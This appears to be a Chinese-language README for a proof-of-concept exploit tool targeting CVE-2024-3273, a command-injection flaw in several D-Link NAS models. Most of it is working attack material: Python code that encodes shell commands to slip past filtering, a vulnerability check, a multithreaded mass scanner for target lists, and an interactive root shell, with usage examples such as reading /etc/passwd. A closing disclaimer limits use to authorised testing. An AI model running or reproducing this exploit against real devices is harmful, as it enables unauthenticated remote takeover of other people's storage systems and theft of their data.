D-Link NAS 远程命令执行漏洞利用工具 (CVE-2024-3273)

0 阅读4分钟

D-Link NAS 远程命令执行漏洞利用工具 (CVE-2024-3273)

Python Version转存失败,建议直接上传图片文件

本项目提供了一个针对 CVE-2024-3273 漏洞的 Proof of Concept (PoC) 利用工具。该漏洞存在于多款 D-Link NAS 设备的 /cgi-bin/nas_sharing.cgi 文件中,允许未经认证的远程攻击者通过操纵 system 参数执行任意系统命令。

功能特性

  • 漏洞检测:自动检测目标设备是否存在 CVE-2024-3273 命令注入漏洞。
  • 交互式 Shell:成功利用后,可开启一个交互式系统 Shell,方便执行后续操作。
  • 命令执行:支持单次任意命令执行并返回输出结果。
  • 批量扫描:从文件中读取多个目标地址,支持多线程并发扫描,快速发现网络中受影响设备。
  • 美观终端界面:使用 richalive_progress 库提供彩色输出和进度条显示。

安装指南

系统要求

  • Python 3.6 或更高版本
  • 支持 Linux / macOS / Windows

依赖安装

使用 pip 安装所需依赖库:

pip install requests rich alive-progress prompt-toolkit

或一次性安装所有依赖:

pip install requests rich alive-progress prompt-toolkit

克隆项目

git clone https://github.com/your-repo/CVE-2024-3273-PoC.git
cd CVE-2024-3273-PoC

使用说明

基础用法

1. 检测单个目标并尝试获取交互式 Shell

python exploit.py -u http://192.168.1.100

2. 批量扫描文件中的目标

创建一个 targets.txt 文件,每行一个目标 URL:

http://192.168.1.1
http://192.168.1.2
http://192.168.1.3

然后执行:

python exploit.py -f targets.txt -t 20

参数说明:

  • -f:指定包含目标地址的文件
  • -t:指定并发线程数(默认 10)

交互式 Shell 命令

成功获取 Shell 后,支持以下内置命令:

  • exit:退出交互式 Shell
  • clear:清空控制台屏幕
  • 任意系统命令:直接在设备上执行(如 ls, id, cat /etc/passwd 等)

示例:

Shell> id
uid=0(root) gid=0(root)
Shell> ls /var/www
cgi-bin
index.html
...
Shell> exit

典型使用场景

  1. 安全评估:在授权范围内检测内部网络中的 D-Link NAS 设备是否存在该漏洞。
  2. 漏洞验证:快速确认漏洞修复是否生效。
  3. 应急响应:批量扫描企业内网,定位受影响资产。

API 概览

DLinkExploit
方法描述
test_vuln()检测目标是否存在漏洞
execute_command(cmd)执行单条系统命令并返回输出
start_interactive_shell()开启交互式命令 Shell
exploit()完整利用流程:检测 -> 开启 Shell
scanner(target)单目标扫描(用于批量)
scan_from_file(file, threads)多线程批量扫描文件中的目标

核心代码

漏洞利用核心逻辑

以下代码展示了如何构造恶意命令并通过 base64 编码绕过过滤,最终注入到 system 参数中:

def _construct_command(self, cmd):
    # 将命令转换为十六进制字符串格式,如 echo -e \x6c\x73|sh
    command_hex = ''.join(f'\\\\x{ord(c):02x}' for c in cmd)
    command_final = f"echo -e {command_hex}|sh".replace(' ', '\t')
    # Base64 编码后附加到路径参数中
    base64_cmd = base64.b64encode(command_final.encode()).decode()
    return self.path + base64_cmd

漏洞检测方法

通过发送测试命令并在响应中查找特定字符串来判断漏洞是否存在:

def test_vuln(self):
    test_command = self._construct_command("echo QWJSWkkjxwJWJXOjwkjJKW")
    try:
        response = requests.get(self.target + test_command, 
                                headers=self.headers, 
                                verify=False, 
                                timeout=10)
        result = response.text.split("<?xml", 1)[0] if "<?xml" in response.text else None
        return "QWJSWkkjxwJWJXOjwkjJKW" in result
    except requests.exceptions.RequestException:
        return False

多线程批量扫描

使用 ThreadPoolExecutoralive_progress 实现高效的批量漏洞扫描:

def scan_from_file(self, target_file, threads):
    with open(target_file, "r") as url_file:
        urls = [url.strip() for url in url_file.readlines()]
        with alive_bar(len(urls), title="Scanning Targets", bar="smooth") as bar:
            with ThreadPoolExecutor(max_workers=threads) as executor:
                futures = [executor.submit(self.scanner, url) for url in urls]
                for future in as_completed(futures):
                    bar()

交互式 Shell 实现

利用 prompt_toolkit 提供命令历史、语法高亮和友好提示:

def start_interactive_shell(self):
    session = PromptSession(history=InMemoryHistory())
    while True:
        try:
            cmd = session.prompt(HTML("<ansiyellow><b>Shell> </b></ansiyellow>"), default="").strip()
            if cmd.lower() == "exit":
                break
            elif cmd.lower() == "clear":
                self.clear_console()
                continue
            output = self.execute_command(cmd)
            if output:
                print(output)
        except KeyboardInterrupt:
            break

受影响设备

以下 D-Link NAS 设备受 CVE-2024-3273 漏洞影响:

  • DNS-320L
  • DNS-325
  • DNS-327L
  • DNS-340L

免责声明

本工具仅用于安全研究和授权测试目的。使用者需遵守当地法律法规,未经授权使用本工具攻击目标系统属于违法行为。作者不对任何因滥用本工具造成的后果承担责任。 6HFtX5dABrKlqXeO5PUv/3XeKhztQG0upThCx76FIHRJUkRBqn9RiJylDKTT/CrE